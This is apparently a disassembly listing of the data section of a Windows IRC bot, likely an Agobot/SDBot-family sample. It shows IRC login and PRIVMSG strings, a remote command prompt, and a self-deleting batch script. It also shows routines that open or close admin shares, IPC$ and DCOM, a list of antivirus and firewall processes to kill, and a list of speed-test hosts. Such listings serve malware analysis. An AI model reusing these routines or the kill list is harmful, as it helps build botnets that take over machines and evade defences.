dword_438780	dd 48h			; DATA XREF: ___:00437CC8o
dword_438784	dd 47h			; DATA XREF: ___:00437CC4o
dword_438788	dd 46h			; DATA XREF: ___:00437CC0o
					; ___:00438038o
dword_43878C	dd 44h			; DATA XREF: ___:00437CBCo
dword_438790	dd 53h			; DATA XREF: ___:00437CB8o
dword_438794	dd 50h			; DATA XREF: ___:00437CB0o
dword_438798	dd 4Fh			; DATA XREF: ___:00437CACo
dword_43879C	dd 55h			; DATA XREF: ___:00437CA4o
word_4387A0	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437CA0o
		align 4
dword_4387A4	dd 54h			; DATA XREF: ___:00437C9Co
dword_4387A8	dd 52h			; DATA XREF: ___:00437C98o
dword_4387AC	dd 45h			; DATA XREF: ___:00437C94o
dword_4387B0	dd 57h			; DATA XREF: ___:00437C90o
dword_4387B4	dd 51h			; DATA XREF: ___:00437C8Co
dword_4387B8	dd 62h			; DATA XREF: ___:00437C80o
					; ___:0043804Co
dword_4387BC	dd 78h			; DATA XREF: ___:00437C74o
dword_4387C0	dd 7Ah			; DATA XREF: ___:00437C70o
dword_4387C4	dd 6Ch			; DATA XREF: ___:00437C6Co
dword_4387C8	dd 68h			; DATA XREF: ___:00437C60o
dword_4387CC	dd 67h			; DATA XREF: ___:00437C5Co
dword_4387D0	dd 66h,	79h		; DATA XREF: ___:00437C58o
dword_4387D8	dd 77h			; DATA XREF: ___:00437C2Co
dword_4387DC	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387E8	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387EC	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_438964	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_438994	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4389BC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389D8	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389DC	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389E0	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A4Ch, 438A44h,	2, 438A38h, 438A2Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:00438A0Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00438A08o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00438A00o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389FCo
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389F4o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389F0o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389E8o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389E4o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389DCo
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389D8o
unk_438AA0	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438AC4	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_438AF0	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_439044	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439068	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_439084	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_4390D0	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 10h
unk_439130	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439158	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439188	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_4391A8	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_439364	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 4
unk_439398	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 10h
dword_4396A0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_4396CC	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396F8	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439800
		dd offset dword_4397F4
		dd offset dword_4397E8
		dd offset dword_4397DC
		dd offset dword_4397D0
		dd offset dword_4397C4
		dd offset dword_4397B4
		dd offset dword_4397A8
		dd offset dword_43979C
		dd offset dword_439790
		dd offset dword_439784
		dd offset dword_439774
		dd offset dword_439768
		dd offset dword_439758
dword_439758	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:00439754o
dword_439768	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439750o
dword_439774	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043974Co
dword_439784	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439748o
dword_439790	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439744o
dword_43979C	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439740o
dword_4397A8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043973Co
dword_4397B4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439738o
dword_4397C4	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439734o
dword_4397D0	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439730o
dword_4397DC	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043972Co
dword_4397E8	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439728o
dword_4397F4	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439724o
dword_439800	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439720o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043971Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439718o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439714o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439710o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043970Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439708o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439704o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439700o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396FCo
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396F8o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 10h
unk_4398B0	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_4398D4	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_4398F8	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_439928	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439958	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_439980	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_4399B0	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399E4	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_439A08	dd offset dword_439A40	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 10h
		dd offset dword_439A38
		align 8
off_439A18	dd offset dword_439A34	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_439A30
		dd offset dword_439A2C
		dd offset dword_439A28
dword_439A28	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:00439A24o
dword_439A2C	dd 2444h		; DATA XREF: ___:00439A20o
dword_439A30	dd 5C3A43h		; DATA XREF: ___:00439A1Co
dword_439A34	dd 2443h		; DATA XREF: ___:off_439A18o
dword_439A38	dd 494D4441h, 244Eh	; DATA XREF: ___:00439A10o
dword_439A40	dd 24435049h, 0		; DATA XREF: ___:off_439A08o
dword_439A48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439A78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_439AA0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439ACC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_439AF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439B1C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_439B40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439B70	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439BAC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_439BE0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 10h
dword_439C30	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C60	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C80	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 10h
dword_439CB0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CE0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439D08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439D28	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D9C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DDC	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_439E50	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 10h
